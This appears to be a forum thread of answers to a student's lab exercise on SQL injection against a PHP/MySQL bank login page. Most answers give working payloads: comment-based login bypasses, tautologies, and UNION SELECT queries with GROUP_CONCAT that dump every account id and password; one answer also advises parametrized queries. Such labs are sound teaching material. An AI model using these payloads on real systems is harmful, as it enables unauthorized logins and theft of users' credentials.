SQL injection attack with php

Question 1

You need to make sure to comment out the rest of the query, so the quotes don't trip you up and so any extra clauses are ignored.

Try setting the ID to:

0 OR id=id --

The -- (that's hyphen, hyphen, space: the space is important) is a comment in MySQL.

Question 2

You being in school, I don't want to just give you the answer. :P

Given the fact that the query isn't parametrized...

Pay attention to the placement of the the apostrophes.

Keep in mind the query:

Select field
FROM table
WHERE field = '<-- Note these -->'

You are on the right track though!

LESSON

Always, always, always use parametrized queries if you can. Also PDO is a nice way to access DBs in PHP.

EXAMPLE

anything' OR 'x'='x <-- Something like this (again with the apostrophes)

Question 3

Exploiting SQL injections is the art of providing values that, when incorporated into an SQL statement, result in a valid SQL statement syntax while changing the semantics intended by the developer to some that are profitable for an attacker.

Now if we look at your attempt with id being 100 OR id=id; and password something, the resulting SQL looks like this:

SELECT * FROM accounts WHERE id = 100 OR id=id; AND password = 'something'

Now you there are two problems with this:

mysql_query does only support the execution of one statement and throws an error if there is more that one statement.
Even if multiple statements were supported, the return value would be the result of the second statement, which, obviously, is invalid.

So to fix this, the easiest way is to inject a comment, its syntax is # or -- (note the trailing space) for comments until the line end. So you could use one of the following for id:

100 OR id=id #
100 OR id=id --

Or you inject an independent OR clause without any comments like this:

100 OR id=id OR id

This would result in:

SELECT * FROM accounts WHERE id = 100 OR id=id OR id AND password = 'something'

Here the id=id is true for each row.

Question 4

The accepted answer covers things.

However I notice that in the original question one point was to 'let us log into an account without knowing it's ID ahead of time'.

Assuming you know the name in advance (but not the id) then you could set id to something like the following

0 OR (first='joe' AND last='bloggs') --

I would also be inclined to set password to something like:-

' OR (first='joe' AND last='bloggs') --

This way the queries that check password before userid (eg, the balance check) could be made to work as well

For your amusement something else that might be fun to try. Set id to something like this:-

0 UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') --

and password to something like this:-

' UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') --

This should then put out the actual password in the account_info function (you might need to add ",password" a few more times, just so the column count matches the number of columns in the accounts table).

Or if you want all the ids:-

0 UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts --

and passwords:-

' UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts --

Something like this should give you all the ids and passwords in the system (subject to the max length limit on GROUP_CONCAT). So you could then log on with whichever id and password you wanted to easily afterwards.

I copied your script and knocked up a test table and the above worked.

Question 5

Basically, you can attack this using GET or POST. The GET method is a lot easier, just create a URL parameter called id with your desired SQL to inject.

http://www.somesite.com/FCCU.php?id=id --

You may have to URI encode it, just try unencoded first. The server will then run the query:

SELECT * FROM accounts WHERE id = id -- AND password = '$password'

Because the password condition is commented out and WHERE id = id is equivalent to WHERE TRUE , will end up working the same way as:

SELECT * FROM accounts

The return value of that query is then stored in a variable, which has all of the account information of everyone in the site's database. Since they are passing that variable to their debug function, you just have to turn on debug mode and you should see everyone's confidential login and password information.

Question 6

it's not nice to hack but:

SELECT * FROM accounts WHERE id = $id AND password = '$password'"

in a id field tipe

1 --
2 --

or

1-- // without space
2--

like this you will be able to log in as every user

Question 7

You can enter this as id (example for account with id 123):

123 OR 1=2

The trick is that the second part evaluates to FALSE and so you only have the id=123 as result. Using a true condition would lead to all rows, so you would probably get id=1 if the table is sorted.

The next step is to check the resulting page, and look in the hidden password field. You will then be able to send more queries with the correct id and password.